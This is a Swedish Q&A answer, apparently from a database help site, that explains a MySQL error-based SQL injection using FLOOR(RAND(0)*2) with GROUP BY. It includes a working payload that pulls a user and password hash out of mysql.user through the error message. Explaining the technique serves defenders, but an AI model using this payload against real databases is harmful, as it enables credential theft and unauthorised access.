sql >> Databasteknik >  >> RDS >> Mysql

SQL Injection attack - Vad gör detta?

Vad attacken verkligen gör

Det finns en subtil men smart detalj om denna attack som andra svarare missade. Lägg märke till felmeddelandet Duplicate entry ':sjw:1:ukt:1' for key 'group_key' . Strängen :sjw:1:ukt:1 är faktiskt resultatet av ett uttryck som utvärderats av din MySQL-server. Om din applikation skickar MySQL-felsträngen tillbaka till webbläsaren kan felmeddelandet läcka data från din databas.

Denna typ av attack används i de fall då frågeresultatet inte skickas tillbaka till webbläsaren (blind SQL-injektion), eller när en klassisk UNION SELECT-attack är komplicerad att genomföra. Det fungerar även i INSERT/UPDATE/DELETE-frågor.

Som Hawili noterar, var den ursprungliga specifika frågan inte tänkt att läcka någon information, det var bara ett test för att se om din applikation är sårbar för denna typ av injektion.

Attacken gjorde det inte misslyckas som MvG föreslog, vilket orsakar detta fel är syftet med frågan.

Ett bättre exempel på hur detta kan användas:

> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
>                        0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'

Varför felet uppstår

Varför frågan orsakar detta fel i MySQL är något av ett mysterium för mig. Det ser ut som en MySQL-bugg, eftersom GROUP BY är tänkt att hantera dubbletter av poster genom att aggregera dem. Hawilis förenkling av frågan orsakar faktiskt inte felet!

Uttrycket FLOOR(RAND(0)*2) ger följande resultat i ordning, baserat på det slumpmässiga kärnargumentet 0:

> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
 ...

Eftersom det 3:e värdet är en dubblett av det 2:a, uppstår detta fel. Alla FROM-tabeller med minst 3 rader kan användas, men information_schema.tables är en vanlig sådan. Delarna COUNT(*) och GROUP BY är nödvändiga för att provocera fram felet i MySQL:

> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

Det här felet uppstår inte i den PostgreSQL-ekvivalenta frågan:

# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
 count | x 
-------+---
    83 | 0
    90 | 1

(Förlåt för att jag svarade 1 år för sent, men jag snubblade över detta idag. Den här frågan är intressant för mig eftersom jag inte var medveten om att det finns sätt att läcka data via felmeddelanden från MySQL)



  1. ORA-16205 Uppgradering till 11.2.0.3

  2. Hur man ersätter null-värden med okänt i Select-sats i SQL Server - SQL Server / TSQL självstudie del 111

  3. java - passerar array i oracle lagrad procedur

  4. Är korstabellindexering möjlig?